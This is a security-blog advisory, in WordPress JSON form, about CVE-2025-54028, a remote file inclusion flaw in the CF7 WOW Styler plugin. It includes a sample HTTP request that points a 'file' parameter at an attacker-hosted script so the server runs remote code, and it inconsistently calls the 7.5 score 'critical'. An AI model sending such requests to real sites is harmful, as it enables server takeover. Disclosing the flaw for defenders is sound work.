{"id":86831,"date":"2026-04-01T19:05:20","date_gmt":"2026-04-01T19:05:20","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-54028-php-remote-file-inclusion-vulnerability-in-saleswonder-team-tobias-cf7-wow-styler","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54028-php-remote-file-inclusion-vulnerability-in-saleswonder-team-tobias-cf7-wow-styler\/","title":{"rendered":"<strong>CVE-2025-54028: PHP Remote File Inclusion Vulnerability in Saleswonder Team Tobias CF7 WOW Styler<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-54028 vulnerability is a critical security flaw that affects the Saleswonder Team Tobias CF7 WOW Styler. This vulnerability, due to improper control of filename for include\/require statement in PHP program, could potentially lead to system compromise or data leakage. As this vulnerability has a severity score of 7.5, understanding and mitigating it is of utmost importance for organizations using this software.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54028<br \/>\nSeverity: High (7.5 CVSS Score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise and potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2897236513\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Saleswonder Team Tobias CF7 WOW Styler | up to 1.7.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability exists because the Saleswonder Team Tobias CF7 WOW Styler does not properly control the filename for include\/require statement in its PHP program. This can allow an attacker to include files from remote servers. The attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process. This could lead to a full compromise of the vulnerable system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3594501367\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an attacker could exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/path\/to\/vulnerable\/script.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is including a malicious script hosted on their own server (`attacker.com`) in the request, which the server then executes due to the improper handling of the `file` parameter.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>All users of the affected software are strongly encouraged to apply the vendor patch as soon as it becomes available. Until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-54028 vulnerability is a critical security flaw that affects the Saleswonder Team Tobias CF7 WOW Styler. This vulnerability, due to improper control of filename for include\/require statement in PHP program, could potentially lead to system compromise or data leakage. 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